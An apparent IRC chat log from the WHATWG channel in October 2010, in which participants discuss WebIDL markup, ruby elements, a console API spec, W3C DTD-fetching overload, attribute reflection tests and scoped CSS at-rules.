[16:47:00.0000] <MikeSmith>
/me now tries to figure how to represent it in a way that refspecs WebIDL preprocessor can parse

[16:48:00.0000] <MikeSmith>
if anybody who has used refspec with spec that have methods with variable number of arguments, and can clue me in on how to mark it up, I would appreciate it

[16:49:00.0000] <Philip`>
HTML5 has things with variable numbers of arguments

[16:49:01.0000] <MikeSmith>
Philip`: yeah, but I think Hixie maintains the source for those in actual WebIDL

[16:50:00.0000] <MikeSmith>
whereas Refspec uses some markup so it can generate syntax highlighting and hyperlinks and such

[16:50:01.0000] <Philip`>
Oh

[16:50:02.0000] <Philip`>
/me knows nothing about Refspec

[16:51:00.0000] <MikeSmith>
it seems to work pretty well

[16:52:00.0000] <MikeSmith>
but for me right now, it's just one more thing with idiosyncracies to figure out when all I really want to do is get a simple draft written

[16:53:00.0000] <MikeSmith>
I guess I'll just move on for now and bug Berjon about it later when he gets online


2010-10-25
[20:30:00.0000] <nessy>
Hixie - are you there?

[20:33:00.0000] <nessy>
the ruby markup in WebSRT uses <ruby> and <rt> elements, but as I am trying to learn about ruby, I am crossing examples that look like this: <ruby><rb>xxx</rb><rt>yyy</rt></ruby> and also <rp>, <rbc> and <rtc> elements - what's up with all that?

[20:47:00.0000] <karlcow>
nessy: I had the impression that complex ruby was not supported (yet?) 

[20:47:01.0000] <nessy>
karlcow: I have no idea what complex ruby is and or is not, and even less whether it is implemented or even standardised

[20:48:00.0000] <nessy>
I am trying to understand why <ruby> is specified the way it is in WebSRT :)

[20:48:01.0000] <karlcow>
rtc, rbc are elements of "complex ruby"

[20:48:02.0000] <nessy>
so, are <ruby> and <rt> the common ruby markup in Web pages right now and all implemented and supported?

[20:48:03.0000] <karlcow>
http://www.w3.org/TR/ruby/#rbc

[20:49:00.0000] <nessy>
yeah, I saw that, which is why I am asking - so <rbc> and <rtc> are not implemented and I can safely ignore them - good to know

[20:49:01.0000] <nessy>
what about <rb> ?

[20:51:00.0000] <karlcow>
http://dev.w3.org/html5/spec/text-level-semantics.html#the-ruby-element it seems it has not been added to the spec either (for now)

[20:51:01.0000] <karlcow>
http://html5doctor.com/ruby-rt-rp-element/

[20:52:00.0000] <karlcow>
at this last uri, there is a table for browser support

[20:52:01.0000] <nessy>
I found <rb> on the relevant wikipedia page, which got me wondering

[20:53:00.0000] <nessy>
http://en.wikipedia.org/wiki/Ruby_character

[20:53:01.0000] <nessy>
and indeed <rp>

[20:54:00.0000] <nessy>
thanks for helping me understand - seems there are three levels of markup with increasing complexity and the lowest is the only implemented one

[20:55:00.0000] <nessy>
the html5doctor page is really awesome, thanks!

[20:55:01.0000] <karlcow>
nessy: another article which is good to understand http://my.opera.com/tagawa/blog/the-html5-ruby-element-in-words-of-one-syllable-or-less

[21:05:00.0000] <nessy>
thanks

[21:51:00.0000] <MikeSmith>
so if I were to attempt to draft some implementation requirements for the console object, I'm wondering if there's something spec'ed somewhere already that I can crib from

[21:51:01.0000] <MikeSmith>
not the IDL I mean

[21:51:02.0000] <MikeSmith>
that part I have

[21:52:00.0000] <MikeSmith>
a start on at least

[21:52:01.0000] <MikeSmith>
but instead the UA requirements around what the UA should actually do with it

[22:41:00.0000] <infid>
how do you pronounce whatwg? 'what w.g.'?

[22:42:00.0000] <MikeSmith>
infid: yeah, that works

[22:42:01.0000] <MikeSmith>
some people say what wee gee

[22:42:02.0000] <infid>
it makes me wanna say 'whatwig'

[22:54:00.0000] <boogyman>
If it hasn't already been discussed can we add placeholder color in CSS4 for form controls :)

[23:14:00.0000] <Hixie>
infid: i say "what wuh jee"

[00:51:00.0000] <zcorpan>
Web application analysis and debugging - WAAAD

[00:51:01.0000] <zcorpan>
pretty good acronym

[00:59:00.0000] <annevk>
/me says what-wii-jee

[01:15:00.0000] <zcorpan>
/me says what working group

[01:16:00.0000] <annevk>
no wonder everyone knows the W3C better ;p

[01:16:01.0000] <zcorpan>
should have gone with whattf

[01:26:00.0000] <MikeSmith>
how can I figure out what type of exception a console.assert implementation is throwing?

[01:26:01.0000] <MikeSmith>
and does the spec need to define what type of exception it's supposed to throw?

[01:26:02.0000] <Peter`>
console.log in a try/catch block?

[01:27:00.0000] <MikeSmith>
ok

[01:30:00.0000] <annevk>
don't we wanna leave the details up to the implementations mostly?

[01:30:01.0000] <annevk>
but just define that .console needs to exist as well as several methods on it?

[01:34:00.0000] <MikeSmith>
annevk: would be fine by me but

[01:34:01.0000] <MikeSmith>
I notice http://getfirebug.com/wiki/index.php/Console_API#console.assert.28expression.5B.2C_object.2C_....5D.29

[01:34:02.0000] <MikeSmith>
"Tests that an expression is true. If not, it will write a message to the console and throw an exception."

[01:35:00.0000] <MikeSmith>
which led me to wonder about exactly what kind of exception current implementations actually throw

[01:35:01.0000] <annevk>
fair enough

[01:36:00.0000] <MikeSmith>
but yeah, agreed in principle that we want to leave the details up to the implementation

[01:36:01.0000] <MikeSmith>
that wiki page already goes to far into implementation detail

[01:36:02.0000] <MikeSmith>
I thinki

[01:37:00.0000] <annevk>
wow, console.log() is complicated

[01:37:01.0000] <MikeSmith>
e.g., it says, "Writes a message to the console with the visual "error" icon and color coding and a hyperlink to the line where it was called"

[01:37:02.0000] <MikeSmith>
which seems not righ

[01:37:03.0000] <MikeSmith>
seems like it should just say that it writes a message with a flag set to indicate it's an error message

[01:38:00.0000] <MikeSmith>
and maybe that it also include the line number

[01:38:01.0000] <MikeSmith>
but then it's up to the implementation to decide what it does with that data

[01:38:02.0000] <MikeSmith>
whether to display an icon or hyperlink or whatever

[01:39:00.0000] <annevk>
but this is not a spec

[01:39:01.0000] <MikeSmith>
what is it?

[01:39:02.0000] <annevk>
or maybe it is, but at a different level than W3C specs, if you can say such a thing :)

[01:39:03.0000] <MikeSmith>
yeah sure

[01:39:04.0000] <annevk>
I mean, for a particular UA you can write a specification that includes UI requirements

[01:40:00.0000] <MikeSmith>
true

[01:40:01.0000] <MikeSmith>
but the scope of this is just the api

[01:41:00.0000] <MikeSmith>
or really the definition of object itself i guess

[01:42:00.0000] <MikeSmith>
and I would think it should be precise enough and thorough within that scope enough to give whatever level of interoperability

[01:42:01.0000] <MikeSmith>
anyway

[01:42:02.0000] <MikeSmith>
my goal is just to have some initial draft that somebody else can pick up on

[01:43:00.0000] <MikeSmith>
seems like we have enough people interested in this

[01:43:01.0000] <MikeSmith>
and it will be a relatively small document

[01:47:00.0000] <sroussey>
I think error, uncaught exceptions, and assertions all log to the console, but also provide backtrace information

[01:48:00.0000] <sroussey>
That is the reference to the hyperlink. We actually have a twisty thing that opens up a backtrace and then each function is a hyperlink

[01:48:01.0000] <sroussey>
You could also set breakpoints from the error message in the console

[01:49:00.0000] <sroussey>
But I don't know how much of that is needed for a spec. You could conceivably have a stack trace for a console.log but that doesn't make too much sense, and the UI can determine that

[02:23:00.0000] <MikeSmith>
another thing with all the console methods is, they don't actually write messages to the console

[02:24:00.0000] <MikeSmith>
because the stuff you can have them log is not just strings

[02:24:01.0000] <MikeSmith>
it can be any kind of object

[02:24:02.0000] <MikeSmith>
and any number of objects

[02:24:03.0000] <MikeSmith>
so it's not a "message"

[02:24:04.0000] <MikeSmith>
except in some abstract sense

[02:25:00.0000] <MikeSmith>
it's more like just "log content" or even just "content"

[02:26:00.0000] <MikeSmith>
e.g., instead of "Writes a message to the console" it should be "Outputs some content to the console"

[02:35:00.0000] <MikeSmith>
annevk: anyway, it would seem that the spec should define at least one conformance class and target itself to that 

[02:35:01.0000] <MikeSmith>
otherwise I can't see any point in having it all

[02:35:02.0000] <annevk>
which spec?

[02:36:00.0000] <annevk>
I was talking about the wiki page earlier...

[02:36:01.0000] <MikeSmith>
console object spec

[02:36:02.0000] <annevk>
makes sense to me

[02:55:00.0000] <jgraham>
MikeSmith: The stuff you can log is just strings, no? It's just that you get implicit type conversion

[02:55:01.0000] <MikeSmith>
no

[02:55:02.0000] <MikeSmith>
not as far as I can see

[02:55:03.0000] <MikeSmith>
like console.dir()

[02:56:00.0000] <MikeSmith>
well, all the methods, really

[02:57:00.0000] <MikeSmith>
if you pass, say, a node as an argument

[02:57:01.0000] <MikeSmith>
then the console shows the same kind of tree view of that node as it does in the DOM inspector

[02:57:02.0000] <MikeSmith>
not a string representation

[02:57:03.0000] <jgraham>
From a spec point of view that seems like an implementation detail

[02:58:00.0000] <jgraham>
I mean presumably it would be conforming for a UA to represent it as a single string

[02:59:00.0000] <jgraham>
But yes, I see that some methods could optionally log something more rich

[04:11:00.0000] <annevk>
hsivonen, fwiw, I do enjoy your "Blogish Notes"

[04:12:00.0000] <hsivonen>
annevk: thanks. I'm going to post this but I'm still uphappy about the time it has so far taken to write up my Galaxy Tab thoughts as a post

[04:12:01.0000] <hsivonen>
compared to writing a series of tweet

[04:14:00.0000] <hsivonen>
s

[05:53:00.0000] <Philip`>
karlcow: I assume it's because most people aren't sociopaths

[05:54:00.0000] <karlcow>
Philip`: which is kind of good. The main issue being that when "aggressed" online, there is little way to know that it happened for most people.

[05:54:01.0000] <karlcow>
*ways

[06:53:00.0000] <annevk>
http://simonwillison.net/2010/Oct/25/bleach/ html5lib in production use

[06:53:01.0000] <annevk>
guess nobody cares about speed

[06:53:02.0000] <asmodai>
Speed is for pussies!

[06:54:00.0000] <asmodai>
http://coffeeonthekeyboard.com/bleach-html-sanitizer-and-auto-linker-for-django-344/  <-- boxes around the highlighted terms too big for others as well?

[06:55:00.0000] <jgraham>
annevk: If you are doing sanitization maybe correctness is important. Most blog comments aren't multimegabyte anyway

[06:55:01.0000] <annevk>
i was not actually being serious

[07:07:00.0000] <annevk>
oh help

[07:07:01.0000] <annevk>
someone mentioned xml:dir

[07:08:00.0000] <annevk>
not sure I'm ready for another lang/xml:lang clusterfuck

[07:09:00.0000] <asmodai>
http://feedbackroulette.com/info/howitworks  XD

[07:09:01.0000] <Philip`>
/me wonders if anyone's going to bother replying to the <h7>..<h9> proposal on public-html to say we already have infinitely many levels of heading elements, all called <h1>

[07:11:00.0000] <annevk>
If people don't even bother reading the drafts...

[07:26:00.0000] <karlcow>
/me doesn't see the mail on public-html

[07:27:00.0000] <annevk>
public-html-comments

[07:29:00.0000] <karlcow>
annevk: thanks.

[07:41:00.0000] <annevk>
W3C is being DDOS'ed again because of DTD fetching...

[07:43:00.0000] <miketaylr>
are there uas that actually fetch dtds?

[07:56:00.0000] <MikeSmith>
annevk: indeed

[07:57:00.0000] <MikeSmith>
miketaylr: there are

[07:57:01.0000] <miketaylr>
O_o

[07:57:02.0000] <MikeSmith>
yeah :(

[07:57:03.0000] <MikeSmith>
asshats…

[07:57:04.0000] <miketaylr>
haha

[07:59:00.0000] <Philip`>
/me recently saw http://www.virtualdub.org/blog/pivot/entry.php?id=320 - "If you just enable DTD support and use the validating reader though, the .NET Framework will happily go and download the XHTML DTD from the W3 every single time, without caching."

[08:00:00.0000] <zcorpan>
i wonder what should happen with <video poster> for a media stream with no video data

[08:00:01.0000] <MikeSmith>
/me keeps quiet about that

[08:01:00.0000] <zcorpan>
maybe i should file a new bug about that

[08:04:00.0000] <zcorpan>
Hixie: "An error occured while submitting your comment. Please let ian⊙hc know."

[08:09:00.0000] <MikeSmith>
zcorpan: that error is because of bugzilla being inaccessible due to the latest DDOS

[08:09:01.0000] <zcorpan>
oh

[08:09:02.0000] <zcorpan>
i could access bugzilla though

[08:14:00.0000] <MikeSmith>
zcorpan: I think it's improving now

[08:14:01.0000] <MikeSmith>
and I think it depends on which mirror you happen to hit

[08:19:00.0000] <karlcow>
/me has been ddos by MS Outlook a few times to the point where I have denied any requests from this user agent.

[08:20:00.0000] <karlcow>
http://lists.w3.org/Archives/Public/www-archive/2006Nov/0011

[08:23:00.0000] <jgraham>
karlcow: How does that story end? Presumably that wasn't part of the stock outlook but some extension or so? Otherwise the numbers would presumably be much higher

[08:23:01.0000] <karlcow>
I never had a reply from Microsoft. never. 

[08:24:00.0000] <karlcow>
I don't know if MS Outlook is still trying. I could check. I never look at the stats of my Web site.

[08:31:00.0000] <karlcow>
jgraham: a lot better… only 16 requests (403) on October 24 for Outlook 

[09:48:00.0000] <TabAtkin1_>
gsnedders: I'm here *now*.  You still need anything?

[09:53:00.0000] <jgraham>
/me decides it would be cruel to list all the things that gsnedders needs ;)

[10:16:00.0000] <gsnedders>
/me wonders what mean things jgraham is thinking of now…

[10:28:00.0000] <infid>
is OSMF a competitor to html5 or a separate thing

[10:28:01.0000] <infid>
as far as media

[10:28:02.0000] <TabAtkin1_>
/me doesn't even know what OSMF is.  Googling...

[10:29:00.0000] <TabAtkin1_>
It's just a flash framework for developing media players.  Irrelevant to HTML.

[10:37:00.0000] <infid>
adobe led, open-source actionscript 3 framework for playing and displaying media

[10:38:00.0000] <infid>
 supports any type of media that can be loaded by Flash, including (streaming audio) mp3, AAC, Speex, and Nellymoser; (streaming video) FLV, F4V, MP4, MPEG-4: MP4, M4V, F4V, 3GPP; (audio) mp3; (video) FLV, F4V, MP4, MP4V-ES, M4V, 3GPP, 3GPP2, QuickTime; (images) PNG, GIF, or JPG; and SWF files. 

[10:41:00.0000] <infid>
it's completely code based, doesn't require flash or flex is why i ask if it's a competitor, seems like it'd just be an alternative way to create video but should be usable inside of your html5. just saw some code and it just looks like javascript

[10:50:00.0000] <TabAtkins_>
Yeah, but it's for messing with Flash-based components.

[10:50:01.0000] <TabAtkins_>
I guess theoretically it could be used with <video> as well.  In any case, it's a library at a higher level than HTML5.

[10:53:00.0000] <TabAtkins_>
Hmm, showing a poster for <audio> seems like a common use-case.

[10:53:01.0000] <TabAtkins_>
That should probably be done by putting the audio in a <video>, I guess.

[12:12:00.0000] <karlcow>
since I removed flash from my computer, I spent a lot less time watching videos :)

[12:13:00.0000] <gsnedders>
This worked fine for me. Then YouTube started with their WebM encoding of videos. Then it went downhill again.

[12:15:00.0000] <karlcow>
I haven't downloaded Opera 11 yet. Not sure I want to cope right away with the crashes

[12:15:01.0000] <gsnedders>
It shouldn't be any more unstable than 10.6x.

[12:16:00.0000] <gsnedders>
(Stability shouldn't really differ, what really differs is the amount of pre-release testing.)

[12:17:00.0000] <karlcow>
ok let's give it a try and curse gsnedders for centuries ;)

[12:18:00.0000] <gsnedders>
Bah, you'll find some other excuse to do it anyway :)

[12:18:01.0000] <karlcow>
heh

[12:18:02.0000] <gsnedders>
*you'd

[12:21:00.0000] <karlcow>
ok 1st bad karma, all my tabs are gone

[12:21:01.0000] <jgraham>
gsnedders: I woudln't expect 11 alpha to be as stable as 10.63

[12:22:00.0000] <gsnedders>
karlcow: Oh, yeah, it'll use a different profile folder

[12:23:00.0000] <karlcow>
renaming old opera as opera10.63 and the new one as opera11

[12:23:01.0000] <Workshiva>
operall

[12:24:00.0000] <kamathln>
Hi.. how offtopic a discussion is tolerable on this channel?

[12:24:01.0000] <TabAtkins_>
We tend to like keeping things about web technologies, but there's isn't any real topic.

[12:24:02.0000] <jgraham>
kamathln: Generally quite

[12:24:03.0000] <Workshiva>
Depends on how much people like you

[12:24:04.0000] <TabAtkins_>
So technically nothing is off-topic, by definition.

[12:24:05.0000] <Workshiva>
Also, how much you're willing to stand for when other people find the logs

[12:24:06.0000] <jgraham>
But I guess people won't be too happy if you start trying to sell penis enhancement products

[12:25:00.0000] <Workshiva>
Yeah, that's MikeSmith's racket

[12:25:01.0000] <Workshiva>
He doesn't like competition

[12:25:02.0000] <kamathln>
lol

[12:25:03.0000] <kamathln>
just wanted input on http://creator.zoho.com/kamathln/browserbenchmarks

[12:26:00.0000] <kamathln>
its a zoho app I mashed up this evening so please be gentle on the looks 

[12:26:01.0000] <kamathln>
that would be zoho's dept

[12:26:02.0000] <TabAtkins_>
I'm getting no data.

[12:26:03.0000] <kamathln>
there is no data 

[12:26:04.0000] <kamathln>
but you can add

[12:26:05.0000] <TabAtkins_>
Ah, kk.

[12:26:06.0000] <kamathln>
i am asking about the concept

[12:26:07.0000] <karlcow>
kamathln: people here have poor taste in visual layouts. So no risk of bad comments

[12:27:00.0000] <jgraham>
I would be scared of getting into the benchmarks business

[12:27:01.0000] <kamathln>
lemme throw some data in there

[12:27:02.0000] <TabAtkins_>
I'm of the opinion that there are only two useful colors on the web - #fff and #222.

[12:27:03.0000] <kamathln>
jgraham: but why?

[12:27:04.0000] <TabAtkins_>
(#000 is so gauche)

[12:27:05.0000] <jgraham>
Unless you have a *really* strong grip on what you are doing

[12:27:06.0000] <kamathln>
Well, I am not designing the benchmarks themselves

[12:28:00.0000] <Workshiva>
TabAtkins_: How will you write test cases without red, green and blue?

[12:28:01.0000] <kamathln>
I am jsut providing a place to share benchmarks

[12:28:02.0000] <jgraham>
kamathln: Because most benchmarks, even popular ones, are not that well thought out. And yet people try to read lots into them

[12:28:03.0000] <jgraham>
Encouraging people to read lots into poorly thought out things doesn't strike me as a great idea

[12:28:04.0000] <kamathln>
thats up to people to decide

[12:28:05.0000] <gsnedders>
And statistically quite a few of them really aren't very good.

[12:28:06.0000] <TabAtkins_>
Workshiva: I'll write out "red".

[12:28:07.0000] <jgraham>
kamathln: People are very bad at deciding though

[12:29:00.0000] <gsnedders>
kamathln: People don't decide. They look, see x > y, and conclude product b is better than a as a result.

[12:29:01.0000] <Workshiva>
But why would you use a color that isn't useful? :P

[12:29:02.0000] <jgraham>
Most benchmarks that are quoted in reviews and so on are not that meaningful

[12:29:03.0000] <kamathln>
good for them

[12:30:00.0000] <jgraham>
To turn this on its head: why do you thing this is a useful thing to do?

[12:30:01.0000] <kamathln>
browser wars 

[12:30:02.0000] <gsnedders>
Spreading information that is not meaningful is not productive.

[12:30:03.0000] <kamathln>
I love them 

[12:30:04.0000] <kamathln>
:D

[12:30:05.0000] <gsnedders>
kamathln: Hint: browsers aren't going to fight over more than a very small number of benchmarks, and those are ones people have heard of already.

[12:32:00.0000] <jgraham>
If you end up making a benchmark from a combination of prewritten benchmarks then you fall foul of my first point; you need to be an expert to determine what the things that are worth including are

[12:32:01.0000] <jgraham>
If you are an expert or are willing to become one, that is fine

[12:32:02.0000] <gsnedders>
Yet alone to balance them fairly

[12:32:03.0000] <jgraham>
Most people, even people who write benchmarks, are not

[12:33:00.0000] <jgraham>
(FWIW I think chosing a browser because it does sunspider in n ms whereas some other browser does it in n+10 is silly)

[12:33:01.0000] <kamathln>
did you know about http://dromaeo.com/

[12:33:02.0000] <gsnedders>
e.g., there are things on sunspider where a 50% speed increase doesn't matter that much, but other things 50% is very significant, because some tests take 3ms and other tests take 300ms.

[12:33:03.0000] <jgraham>
Yes

[12:33:04.0000] <gsnedders>
kamathln: It's not particuarly good.

[12:34:00.0000] <jgraham>
gsnedders: (that is just bad design in sunspider though)

[12:34:01.0000] <jgraham>
gsnedders: (because they didn't update it fast enough when some parts were optimised in new engines)

[12:35:00.0000] <MikeSmith>
unless there's a way to  add data to the page by using some talking teddy bears, I'll probably just spent the time lighting up and making more xtranormal movies instead

[12:35:01.0000] <jgraham>
(which is the only reasonable thing to do because there is no good way to weight things that differ by orders of magnitude, especially when some of them are below your timer resolution) 

[14:11:00.0000] <othermaciej>
Hixie: ayt?

[14:11:01.0000] <Hixie>
here

[14:12:00.0000] <othermaciej>
can you either remove the comment form in the w3c draft or add some better spam protection? (preferably just the former unless the latter can be done quickly)

[14:12:01.0000] <annevk>
lhttp://www.marketwatch.com/story/wary-of-google-street-view-move-ceo-says-2010-10-22 o_O

[14:12:02.0000] <annevk>
http://www.marketwatch.com/story/wary-of-google-street-view-move-ceo-says-2010-10-22

[14:13:00.0000] <annevk>
'“Street View, we drive exactly once,” Schmidt said, referring to the vehicles mounted with cameras sent out to take photos for the service. “So, you can just move, right?”'

[14:13:01.0000] <annevk>
that guy is a tool when it comes to statements about privacy

[14:13:02.0000] <annevk>
joking or not

[14:15:00.0000] <Hixie>
othermaciej: we added better spam protection last week

[14:16:00.0000] <Hixie>
is it still a problem?

[14:16:01.0000] <annevk>
Peter`, "actual rendering" ;p

[14:17:00.0000] <annevk>
Peter-, might actually add that rule now

[14:17:01.0000] <Peter->
works for me!

[14:18:00.0000] <Peter->
changed it to "vertical" :)

[14:26:00.0000] <othermaciej>
Hixie: when was the better protection added?

[14:26:01.0000] <Hixie>
i don't recall exactly. We were talking about it on IRC though. Friday maybe?

[14:26:02.0000] <othermaciej>
Hixie: last spammy bug I see is 10/20

[14:27:00.0000] <Hixie>
pretty sure it was after the 20th

[14:27:01.0000] <othermaciej>
if you let the WG list know that there is better protection I think that will cover it, right now the public-html thread is dangling

[14:27:02.0000] <Hixie>
*shrug*

[14:27:03.0000] <Hixie>
they'll figure it out

[14:27:04.0000] <TabAtkins_>
Hixie: You seem to be contradicting yourself in the css testsuite thread.

[14:27:05.0000] <annevk>
http://www.boston.com/bigpicture/2010/10/france_on_strike.html o_O

[14:27:06.0000] <Hixie>
TabAtkins_: how so?

[14:27:07.0000] <annevk>
gonna be fun next week

[14:28:00.0000] <TabAtkins_>
Hixie: Wait, never mind, I was *completely* misreading what you wrote.  I flipped a "not".

[14:28:01.0000] <Hixie>
hehe

[14:28:02.0000] <Hixie>
ok good :-)

[14:28:03.0000] <Hixie>
annevk: wow, that first picture is gold

[14:28:04.0000] <jgraham>
 /me wishes he remembered to look at The Big Picture more often

[14:29:00.0000] <annevk>
The Big Picture is one of the best things on the internet

[14:29:01.0000] <annevk>
right up there with reddit.com :)

[14:29:02.0000] <Hixie>
i wish there was a better way to experience the big picture photos

[14:29:03.0000] <Hixie>
scrolling with a browser doesn't work well

[14:29:04.0000] <Hixie>
it's a perfect candidate for media=projection

[14:30:00.0000] <annevk>
yeah, you need to have some crazy ass timing skills for scrolling to work

[14:30:01.0000] <Hixie>
othermaciej: (most if not all the thread actually happened after it was fixed, iirc)

[14:31:00.0000] <volkmar>
AryehGregor: ping

[14:31:01.0000] <AryehGregor>
volkmar, pong

[14:31:02.0000] <AryehGregor>
I've been meaning to look at your patch . . . bogged down in schoolwork right now.

[14:31:03.0000] <volkmar>
will you have time for the feedback on bug 601061 (mozilla) ?

[14:32:00.0000] <AryehGregor>
Okay, I should be able to get to that in a few minutes.

[14:32:01.0000] <volkmar>
AryehGregor: great :)

[14:36:00.0000] <jgraham>
annevk: reddit? I can't tell if that is sarcasm or not

[14:38:00.0000] <jgraham>
Also, France is awesome

[14:38:01.0000] <AryehGregor>
volkmar, what's the range of a PRUint32?  0 to 2^31 - 1?

[14:39:00.0000] <jgraham>
Particularly the people who protest in high heels

[14:40:00.0000] <othermaciej>
Hixie: there does seem to be some slightly less blatant spam getting through

[14:40:01.0000] <othermaciej>
e.g. 5 instances of http://lists.w3.org/Archives/Public/public-html/2010Oct/0353.html

[14:40:02.0000] <othermaciej>
2 instances of http://lists.w3.org/Archives/Public/public-html/2010Oct/0370.html

[14:40:03.0000] <Hixie>
othermaciej: those are from the whatwg spec's one

[14:40:04.0000] <AryehGregor>
/me guesses he'll comment on the bug

[14:40:05.0000] <othermaciej>
I see

[14:40:06.0000] <Hixie>
you can tell because their URL isn't #top

[14:40:07.0000] <Hixie>
(the w3c version always uses #top for the URL's fragid)

[14:41:00.0000] <volkmar>
AryehGregor: 0 -> 2^32-1, 0 -> 2^31-1 is the positive part of a PRInt32

[14:42:00.0000] <AryehGregor>
volkmar, so what prevents GetUnsignedIntAttr() from returning something greater than 2^31-1?

[14:42:01.0000] <AryehGregor>
It's not allowed to per spec (since no browser currently does).

[14:42:02.0000] <AryehGregor>
Unfortunately, I don't understand exactly what a lot of the code is doing, so it's hard to comment . . .

[14:42:03.0000] <volkmar>
AryehGregor: because the value is stored as a PRInt32 so we can't have something greater than 2^31-1

[14:43:00.0000] <AryehGregor>
Okay.

[14:44:00.0000] <AryehGregor>
What does the PR_MIN(aValue, PR_INT32_MAX) do?  Clamp it to 2^31 - 1?  If so, does that mean if I set it to 3000000000 then it will return 2^31 - 1 on getting?  The spec says it should return the default value in that case.

[14:45:00.0000] <AryehGregor>
/me puts his comments on the bug instead

[14:45:01.0000] <volkmar>
AryehGregor: i think what you say applies for setAttribute('size') but not for .size

[14:46:00.0000] <AryehGregor>
They should work identically here, no?

[14:47:00.0000] <volkmar>
"On setting, the given value must be converted to the shortest possible string representing the number as a valid non-negative integer and then that string must be used as the new content attribute value."

[14:47:01.0000] <AryehGregor>
Right, so value.size = 3000000000; is the same as value.setAttribute("3000000000"), right?

[14:47:02.0000] <AryehGregor>
Er.

[14:48:00.0000] <AryehGregor>
Or whatever.

[14:48:01.0000] <AryehGregor>
input.size.

[14:48:02.0000] <AryehGregor>
But then we should have input.size == 20 or such.

[14:48:03.0000] <Hixie>
well don't forget WebIDL might fiddle with the new value before it gets there

[14:48:04.0000] <Hixie>
but yes, in principle

[14:48:05.0000] <AryehGregor>
Not if it's in the range of an unsigned int, like 3000000000 is.

[14:48:06.0000] <volkmar>
AryehGregor: when you call input.size = <foo>, a valid value will be saved in the content attribute

[14:48:07.0000] <volkmar>
or i'm missing something :/

[14:49:00.0000] <Hixie>
right, i didn't know if you meant 3000000000 specifically or if that was a generic poorly-named variable :-)

[14:49:01.0000] <volkmar>
AryehGregor: a valid non-negative integer is < 2^31, right?

[14:49:02.0000] <AryehGregor>
No.

[14:49:03.0000] <AryehGregor>
"A string is a valid non-negative integer if it consists of one or more characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE (9)."

[14:50:00.0000] <volkmar>
hmm

[14:51:00.0000] <volkmar>
i should have click on that link

[14:51:01.0000] <volkmar>
i was assuming it was 0 to 2^31

[14:51:02.0000] <volkmar>
AryehGregor: thanks :)

[14:55:00.0000] <TabAtkins_>
gsnedders: Oh geez, the <code> backgrounds on the bleach site are horribly large!

[15:18:00.0000] <gsnedders>
TabAtkins_: Yeah. :(

[15:28:00.0000] <annevk>
MikeSmith, you might need to step in as new co-host for Standards Suck next week

[15:29:00.0000] <annevk>
if there is enough time and space to record a few

[15:29:01.0000] <MikeSmith>
annevk: excellent

[15:29:02.0000] <annevk>
I was hoping you would say that :)

[15:30:00.0000] <MikeSmith>
we can add new segment where people have to show viewers their dance moves

[15:30:01.0000] <MikeSmith>
and viewers rate them

[15:30:02.0000] <heycam>
TabAtkins_, othermaciej, do you know about http://www.readwriteweb.com/archives/adobe_html5_for_digital_publishing_collaborates_with_jquery_webkit.php and whether this text-in-arbitrary-shapes work is going to result in some standards (and if so -- CSS and/or SVG)?

[15:31:00.0000] <gsnedders>
MikeSmith: You have to add some random segment to each episode.

[15:33:00.0000] <MikeSmith>
the possibilities are endless

[15:33:01.0000] <TabAtkins_>
heycam: Hadn't heard about it, but yeah, we always propose anything that we think is half-worthwhile to the appropriate standards groups.

[15:40:00.0000] <heycam>
TabAtkins_, cool.  yeah first i'd heard of this too.

[15:43:00.0000] <jgraham>
MikeSmith: I thought you would be using your shot at internet fame to pimp your "male enhancement" line

[15:52:00.0000] <othermaciej>
heycam: I have heard nothing about it

[15:52:01.0000] <othermaciej>
heycam: Adobe has done a lot of "working with" WebKit which I only ever became aware of through their press releases

[15:52:02.0000] <MikeSmith>
jgraham: I'm multitasking

[15:52:03.0000] <heycam>
othermaciej, i see

[15:53:00.0000] <volkmar>
AryehGregor: still there ?

[15:58:00.0000] <TabAtkins_>
heycam: Also, I have the "flow text in arbitrary shapes" thing on my list of CSS things to work on, so if no one else gets to it I'll address it in the medium future.

[15:58:01.0000] <heycam>
TabAtkins_, ok

[16:00:00.0000] <Hixie>
othermaciej: i have the same problem with them and contributing to / supporting html

[16:13:00.0000] <AryehGregor>
volkmar, still here.

[16:15:00.0000] <volkmar>
AryehGregor: if you have time, i've updated the patch

[16:15:01.0000] <volkmar>
in addition, i was looking more carefuly to your reflection test and it seems to have some mistakes

[16:16:00.0000] <volkmar>
do you have a repository so i can provide patches ?

[16:16:01.0000] <AryehGregor>
volkmar, I gave the link to the repository.  :)

[16:17:00.0000] <AryehGregor>
It's in the W3C HTMLWG's hg test repo.

[16:17:01.0000] <AryehGregor>
I haven't looked over the failures in various browsers carefully for a while, but last I did, I'm pretty sure they were all correct per spec.

[16:17:02.0000] <AryehGregor>
Happy to hear feedback.

[16:17:03.0000] <volkmar>
AryehGregor: input.autocomplete seems wrong

[16:18:00.0000] <volkmar>
and you are looking for attribute that do not exist on output

[16:20:00.0000] <AryehGregor>
volkmar, what's wrong about input.autocomplete?

[16:21:00.0000] <volkmar>
AryehGregor: it looks like you are assuming it's working like form.autocomplete

[16:21:01.0000] <volkmar>
which is not the case

[16:21:02.0000] <AryehGregor>
In what way?

[16:21:03.0000] <volkmar>
AFAIUI, if i do input.autocomplete = "foo"; input.autocomplete should return "", not "on"

[16:23:00.0000] <AryehGregor>
Okay, you're right, they're different.

[16:23:01.0000] <AryehGregor>
Yay consistency.

[16:23:02.0000] <volkmar>
yep :(

[16:40:00.0000] <TabAtkins_>
Hixie: What's the meaning of @-rules specified in a <style scoped>?  Does @scoped only have an effect on selector matching, so @-rules (like @keyframes) still apply globally?

[16:42:00.0000] <Hixie>
@rules are scoped to the current sheet, aren't they?

[16:42:01.0000] <Hixie>
or at most the current sheet and anyone that imported the sheet?

[16:42:02.0000] <TabAtkins_>
Um... dunno?

[16:42:03.0000] <Hixie>
making them polute a global scope would be pretty bad

[16:42:04.0000] <Hixie>
so we should definitely not make that mistake again :-)

[16:43:00.0000] <TabAtkins_>
/me isn't sure where in 2.1 he'd find anything about that, since the at-rules section doesn't say anything.

[16:43:01.0000] <Hixie>
assuming any declarations in a sheet X are scoped to the sheet that @imported the sheet X and the sheet X itself, the answer to your question is "it doesn't matter"

[16:43:02.0000] <TabAtkins_>
Right.

[16:44:00.0000] <Hixie>
however if that assumption is wrong then i need to fix something

[16:44:01.0000] <Hixie>
css2.1 doesn't have nany declaration @rules

[16:44:02.0000] <Hixie>
any

[16:44:03.0000] <Hixie>
so it's not an issue there

[16:44:04.0000] <Hixie>
i'm only aware of two types of declaration @-rules, the variable stuff and the animation stuff

